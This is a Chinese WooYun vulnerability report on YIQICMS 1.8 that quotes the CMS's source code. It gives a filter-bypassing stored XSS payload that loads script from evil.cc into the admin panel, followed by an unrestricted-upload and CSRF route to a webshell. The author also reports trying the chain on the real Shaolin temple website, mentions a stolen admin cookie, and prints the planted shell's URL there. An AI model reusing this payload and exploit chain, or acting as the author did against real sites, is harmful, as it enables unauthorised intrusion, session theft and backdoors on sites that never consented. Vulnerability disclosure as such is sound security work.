当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077026

漏洞标题:某开源CMS绕过过滤XSS盲打+getshell(伟哥,少林寺官网中枪)

相关厂商:易企内容管理系统

漏洞作者: Haswell

提交时间:2014-09-23 08:42

修复时间:2014-12-22 08:44

公开时间:2014-12-22 08:44

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

好久没前台过了。。。。
Powered by YIQICMS
“百度为您找到相关结果约17200个”
伟哥官网中枪

详细说明:

最新版1.8,首先关注/comment.php:

if($action == "save")
{
$msgtitle = $_POST["msgtitle"];
$msgname = $_POST["msgname"];
$msgcontact = $_POST["msgcontact"];
$msgcontent = $_POST["msgcontent"];

................................................

$msgcontent = safeCheck($msgcontent);

$userip = $_SERVER["REMOTE_ADDR"];;
$sql = "INSERT INTO yiqi_comments (cid ,title ,name,contact,content,ip,adddate)" .
"VALUES (NULL, '$msgtitle', '$msgname', '$msgcontact','$msgcontent', '$userip', null)";
$result = $yiqi_db->query(CheckSql($sql));
if($result == 1)
{
ShowMsg("留言添加成功");
}


我们看到了safecheck函数,但是明显只对content进行了调用,于是留言的标题变成了一处xss.
但是30个字符限制确是鸡肋,于是我们关注safecheck函数。
/include/common.func.php

function safeCheck($str) 
{
$farr = array(
"/<(\/?)(script|i?frame|style|html|body|title|link|meta|\?|\%)([^>]*?)>/isU", //过滤 <script 等可能引入恶意内容或恶意改变显示布局的代码,如果不需要插入flash等,还可以加入<object的过滤
"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU", //过滤javascript的on事件

);
$tarr = array(
"",
"",
);
$str = preg_replace($farr,$tarr,$str);
return $str;
}


看到这里想必大家都懂了
天啊噜这不是常出现的<scr<script>ipt>绕过吗
于是构造<scr<script>ipt src=http://evil.cc/evil.js></scr<script>ipt>

1.jpg


在数据被取出时并未进行转义操作
/admin/comments.php

$cid = $_GET["cid"];
$cid = (isset($cid) && is_numeric($cid)) ? $cid : 0;
$commentdata = new Comments;
$commentinfo = $commentdata->GetComment($cid);
.......
<tr><td class="label">留言内容</td><td class="input"><?php echo $commentinfo->content;?></td></tr>


于是后台的景象

2.jpg


恶意js被加载

3.jpg


至此便是盲打后台,接下来是getshell
很幸运地找到了一处可以上传东西的地方

5.jpg


接下来看admin/product-add.php

if(!empty($_FILES["productthumb"]["name"]))
{
require_once("../include/upload.class.php");
$filedirectory = YIQIROOT."/uploads/image";
$filename = date("ymdhis");
$filetype = $_FILES['productthumb']['type'];
$upload = new Upload;
$upload->set_max_size(1800000);
$upload->set_directory($filedirectory);
$upload->set_tmp_name($_FILES['productthumb']['tmp_name']);
$upload->set_file_size($_FILES['productthumb']['size']);
$upload->set_file_ext($_FILES['productthumb']['name']);
$upload->set_file_type($filetype);
$upload->set_file_name($filename);
$upload->start_copy();
if($upload->is_ok())
{
$productthumb = YIQIPATH."uploads/image/".$filename.'.'.$upload->user_file_ext;
}
else
{
exit($upload->error());
}
}


并没有进行类型限制,看到$filename = date("ymdhis");可以直接抓下包,文件名就是ymdhis。
如果嫌麻烦,还可以回到前台,直接得到shell地址

7.jpg


getshell

8.jpg


当然,因为此处未作CSRF限制,所以可以直接XSRF getshell.

漏洞证明:

2.jpg


8.jpg


拿来实验的少林寺官网
cookie

xss.jpg


shell
http://www.shaolinsiyuan.com/include/Smarty/libs/plugins/function.config.php

修复方案:

健全过滤机制
限制上传类型

版权声明:转载请注明来源 Haswell@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝